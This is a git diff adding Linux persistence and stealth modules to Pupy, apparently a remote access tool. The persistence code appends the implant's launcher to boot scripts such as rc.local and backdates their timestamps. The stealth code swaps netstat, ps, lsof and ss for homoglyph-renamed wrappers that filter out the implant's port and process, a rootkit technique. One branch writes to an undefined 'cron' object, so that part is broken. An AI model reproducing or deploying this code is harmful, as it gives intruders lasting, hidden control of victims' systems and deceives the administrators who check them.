diff --git a/pupy/modules/linux_pers.py b/pupy/modules/linux_pers.py new file mode 100644 index 00000000..ffb97857 --- /dev/null +++ b/pupy/modules/linux_pers.py @@ -0,0 +1,30 @@ +#!/usr/bin/env python +import os +from pupylib.PupyModule import * + +__class_name__="SetPersistence" +def print_callback(data): + sys.stdout.write(data) + sys.stdout.flush() + +class SetPersistence(PupyModule): + """Add your pp.py file to /etc/init.d/ scripts +NOTE: the pp.py script needs to be running with root privileges in order to modify the init scripts.""" + + def init_argparse(self): + self.arg_parser = PupyArgumentParser(prog="Linux Persistance Module", description=self.__doc__) + self.arg_parser.add_argument('--path', help='path to your pp.py file on the system, ex: /etc/pp.py', required=True) + self.arg_parser.add_argument('--launcher', help='change the default launcher, ex: simple') + self.arg_parser.add_argument('--launcher-args', help='change the launcher default args') + + @unix_only + def is_compatible(self): + pass + def run(self, args): + if not args.launcher_args: + args.launcher_args=' '.join(self.client.get_conf()["launcher_args"]) + if not args.launcher: + args.launcher=self.client.get_conf()["launcher"] + self.client.load_package("linux_pers") + self.client.conn.modules['linux_pers'].add(args.path, args.launcher, args.launcher_args) + self.success("Module executed successfully.") diff --git a/pupy/modules/linux_stealth.py b/pupy/modules/linux_stealth.py new file mode 100644 index 00000000..0aeafe18 --- /dev/null +++ b/pupy/modules/linux_stealth.py @@ -0,0 +1,28 @@ +#!/usr/bin/env python +from pupylib.PupyModule import * + +__class_name__="SetStealth" + +class SetStealth(PupyModule): + """Hides the runnin process from netstat, ss, ps, lsof by using modified binaries. Be careful when choosing the port. +Credits to: http://www.jakoblell.com/blog/2014/05/07/hacking-contest-rootkit/ + +********************** /!\ WARNING /!\ ********************** +* Do NOT run the stealh module more than ONCE on a machine. * +* Running it two times will brake the binaries. * +************************************************************* +NOTE: The pp.py script needs to be running with root privileges in order to run this module.""" + def init_argparse(self): + self.arg_parser = PupyArgumentParser(prog="Linux Stealth Module", description=self.__doc__) + self.arg_parser.add_argument('port', type=int, help='The port number to which Pupy is connecting to.') + + @unix_only + def is_compatible(self): + if self.client.conn.modules['subprocess'].check_output(r"ls -l `dirname \`which netstat\``/net*tat | wc -l", shell=True).strip() == "2": + return False, "It looks like this module has already been run on this machine." + return True, "" + + def run(self, args): + self.client.load_package("linux_stealth") + self.client.conn.modules['linux_stealth'].run(str(args.port)) + self.success("Module executed successfully.") diff --git a/pupy/packages/all/pupyimporter.py b/pupy/packages/all/pupyimporter.py index f6013e4f..4aab6cf7 100644 --- a/pupy/packages/all/pupyimporter.py +++ b/pupy/packages/all/pupyimporter.py @@ -76,7 +76,7 @@ class PupyPackageLoader: mod.__package__ = fullname.rsplit('.', 1)[0] sys.modules[fullname]=mod code = compile(self.contents, mod.__file__, "exec") - exec self.contents in mod.__dict__ + exec code in mod.__dict__ elif self.extension in ["pyc","pyo"]: mod = imp.new_module(fullname) mod.__name__ = fullname diff --git a/pupy/packages/linux/all/linux_pers.py b/pupy/packages/linux/all/linux_pers.py new file mode 100644 index 00000000..394d8c69 --- /dev/null +++ b/pupy/packages/linux/all/linux_pers.py @@ -0,0 +1,36 @@ +#!/usr/bin/env python +import os + +def add(path, launcher, launcher_args): + if os.path.isfile("/etc/init.d/rc.local"): + if path in open("/etc/init.d/rc.local").read(): + return + else: + with open("/etc/init.d/rc.local", "a") as local: + local.write(path+" "+launcher+" "+launcher_args+' > /dev/null 2>&1 &') + os.utime("/etc/init.d/rc.local",(1330712292,1330712292)) + elif os.path.isfile("/etc/rc"): + if path in open("/etc/rc").read(): + return + else: + os.system("head -n-1 /etc/rc > /etc/rc2 && rm -f /etc/rc && mv /etc/rc2 /etc/rc") + with open("/etc/rc", "a") as rc: + rc.write(path+" "+launcher+" "+launcher_args+' > /dev/null 2>&1 &'+'\n') + rc.write("exit 0") + os.utime("/etc/rc",(1330712292,1330712292)) + elif os.path.isfile("/etc/rc.d/rc.local"): + if path in open("/etc/rc.d/rc.local").read(): + return + else: + with open("/etc/rc.d/rc.local", "a") as rc2: + rc2.write(path+" "+launcher+" "+launcher_args+' > /dev/null 2>&1 &') + os.system("chmod +x /etc/rc.d/rc.local") + os.utime("/etc/rc.d/rc.local",(1330712292,1330712292)) + elif os.path.isfile("/etc/init.d/dbus"): + if path in open("/etc/init.d/dbus").read(): + return + else: + with open("/etc/init.d/dbus", "a") as dbus: + cron.write(path+" "+launcher+" "+launcher_args+' > /dev/null 2>&1 &'+'\n') + os.utime("/etc/init.d/dbus",(1330712292,1330712292)) + diff --git a/pupy/packages/linux/all/linux_stealth.py b/pupy/packages/linux/all/linux_stealth.py new file mode 100644 index 00000000..94d04edd --- /dev/null +++ b/pupy/packages/linux/all/linux_stealth.py @@ -0,0 +1,36 @@ +#!/usr/bin/env python + +import os +import subprocess +import time + +def cmd_exists(cmd): + return subprocess.call("type " + cmd, shell=True, stdout=subprocess.PIPE, stderr=subprocess.PIPE) == 0 + +def run(port): + if cmd_exists("gcc") == True: + bash=r"""which netstat ps lsof|perl -pe'$s="\x{455}";$n="\x{578}";chop;$o=$_;s/([ltp])s/\1$s/||s/fin/fi$n/;rename$o,$_;open F,"|gcc -xc - -o$o";print F qq{int main(int a,char**b){char*c[999999]={"sh","-c","$_ \$*|grep -vE \\"""+'"'+port+"""|\$\$|[$s-$n]|grep\\\\""};memcpy(c+3,b,8*a);execv("/bin/sh",c);}}'""" + #subprocess.call(bash, shell=True) + with open('/tmp/b', 'w') as f: + f.write(bash) + os.system("bash /tmp/b") + time.sleep(3) + os.remove("/tmp/b") + else: + bash=r"""which netstat ps lsof |perl -pe'$s="\x{455}";$n="\x{578}";chop;$o=$_;s/([ltp])s/\1$s/||s/fin/fi$n/;rename$o,$_;open F,">$o";print F"#!/bin/sh\n$_ \$*|grep -vE \"[$s-$n]|grep|"""+port+"""\\\\"";chmod 493,$o'""" + with open("/tmp/p", "w") as f: + f.write(bash) + os.system("bash /tmp/p") + time.sleep(3) + os.remove("/tmp/p") + bashss="""#!/bin/bash +/bin/zss $* | grep -v """+port + get_ss_path=subprocess.check_output('which ss', shell=True) + path=get_ss_path[:-3] + os.system("mv "+path+"ss "+path+"zss") + with open(path+"ss", "w") as newss: + newss.write(bashss) + os.system("chmod +x "+path+"ss") +#blazo - fresh orange +#brock - september 22nd +#Creds to: www.jakoblell.com/blog/2014/05/07/hacking-contest-rootkit/ diff --git a/pupy/pupylib/PupyModule.py b/pupy/pupylib/PupyModule.py index abdaa9f4..a9d44e31 100644 --- a/pupy/pupylib/PupyModule.py +++ b/pupy/pupylib/PupyModule.py @@ -94,7 +94,8 @@ class PupyModule(object): def is_compatible(self): """ override this method to define if the script is compatible with the givent client. The first value of the returned tuple is True if the module is compatible with the client and the second is a string explaining why in case of incompatibility""" - return (True, "") + raise NotImplementedError("is_compatible is not implemented !") + #return (True, "") def is_daemon(self): return self.daemon @@ -135,13 +136,19 @@ class PupyModule(object): def windows_only(func): """ decorator for is_compatible method """ def wrapper(self): - return (self.client.is_windows(), "The module has only been implemented for windows systems") + is_win=self.client.is_windows() + if not is_win: + return (False, "The module has only been implemented for windows systems") + return func(self) return wrapper def unix_only(func): """ decorator for is_compatible method """ def wrapper(self): - return (self.client.is_unix(), "The module has only been implemented for unix systems") + is_unix=self.client.is_unix() + if not is_unix: + return (False, "The module has only been implemented for unix systems") + return func(self) return wrapper